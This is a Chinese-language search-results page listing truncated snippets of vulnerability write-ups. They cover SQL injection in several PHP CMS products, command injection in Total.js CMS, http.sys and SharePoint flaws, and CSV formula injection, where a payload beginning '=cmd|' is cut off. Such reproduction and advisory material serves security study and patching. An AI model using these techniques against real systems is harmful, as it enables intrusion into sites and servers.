  • 2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞漏洞产生的原因首先:php环境的版本大约...
  • 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似。且较为有趣,故在此分析并附上exp。 0x02 首先复现漏洞,环境为:  PHP:5.4.45 + Apache  mysql:5.5.53  PHPCMS:V9.6.0-UTF-8  ...
  • Blue CMS1.6 SQL注入漏洞

    2018-11-30 19:10:37
    操作机系统:Windows XP 目标网站:172.16.11.2 实验目的 了解本次漏洞形成的原理 掌握此漏洞的利用方法 学会如何去修复此漏洞 实验工具 1.php :本次实验的Payload 实验内容 BlueCMS 是一款国产的CMS平台,...
  • Total.js CMS 12.0.0版本中存在命令注入漏洞,攻击者可利用该漏洞执行非法命令。 0X02环境搭建 方法一:下载源码 https://my.totaljs.com/或者https://github.com/totaljs/cms Windows下安装npm 参考:...
  • csv注入漏洞原理&&实战

    千次阅读 2018-08-03 23:40:00
    本文会介绍 csv 注入漏洞的原理,最后给出一个示例。 正文 在 csv 文件 和 xlsx 文件中的每一项的值如果是 =, @, +, - 就会被 excel 识别为一个 公式, 此时可以注入 系统命令 实现 命令执行。 常用 payload : =cmd|...
  • 代码审计:KKCMS 前台sql注入漏洞复现安装cms前台 vlist.php 注入漏洞复现 安装cms 下载地址:https://github.com/wangyifani/kkcms/ 程序开发环境: apache2.0 php5.6.40 mysql5.5 程序建议使用环境: linux系统...
  • 内容 什么是命令 命令注入的三个条件 命令注入攻击过程 ...我们一般用的是Windows系统,这里只讲DOS命令 2. 命令注入的三个条件 先讲一个例子: 3. 命令注入攻击过程 ...
  • iCMS后台database.admincp文件存在SQL注入漏洞目录一、漏洞分析二、漏洞测试 目录 该漏洞CNVD-ID: CNVD-2019-09079 漏洞提交CNVD后,待CNVD公示才发出本文。 测试环境: Windows + firefox + burpsuite + apache2 + ...
  • 一、Command Inject 漏洞产生原因 在web程序中,因为业务功能需求,需要通过web前端传递参数到后台服务器上执行(特别是一些网络设备的web管理界面),但由于开发人员没有对输入进行严格的过滤,...关于Windows ...
  • 百度ueditor编辑器注入查杀程序,用于对百度ueditor的漏洞补丁进行查杀,使用时需要保证本地正确部署了.net 4.0服务。 百度ueditor编辑器是目前网上比较流行的一个网站编辑器,但由于官方缺乏维护,存在一定的BUG...
  • http.sys远程代码注入漏洞

    千次阅读 2017-07-05 16:41:28
    http.sys是一个位于Win2003和WinXP SP2中的操作系统核心组件,能够让任何应用程序通过它提供的接口,以http协议... 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012
  • 介绍 目标 对登录表单的各参数进行测试,找到SQL注入点,对数据库内容进行读取,找到账号与密码。 步骤 burpsuite抓取,发送请求,...User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/...
  • 这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞漏洞产生的原因首先:php环境的版本大约PHP5.2,dizcuzX3.2 X3.4版本,服务器环境是windows 2008 2003 2012系统,linux ...
  • Windows Phone 7手机开发、.Net培训、期待与您交流! ----------------------   SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。...
  • Microsoft SharePoint 服务器源码 HTML 注入漏洞受影响系统:Microsoft Windows SharePoint Services 2.0描述:SharePoint Server是一个服务器功能集成套件,提供全面的内容管理和企业搜索,加速共享业务流程并简化...
  • 目录 该漏洞CNVD-ID: CNVD-2019-08479 漏洞提交CNVD后,待CNVD...Windows + firefox + burpsuite + apache2 + PHP5.6.27(phpStudy集成环境) iCMS官网:https://www.icmsdev.com/ 一、漏洞分析 /app/database/databas...
  • joekoe CMS 4.0 注入漏洞

    2007-07-30 09:48:00
    详细说明:Joekoe CMS 4.0 给您带来一个经过完善的设计,在会员互动及安全方面有独特创新性的系统,适用于Windows NT服务环境下的的Web站点或商务平台的最佳解决方案。它精心设计的架构与功能机制,从个人到企业各...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 505
精华内容 202
关键字:

windows漏洞注入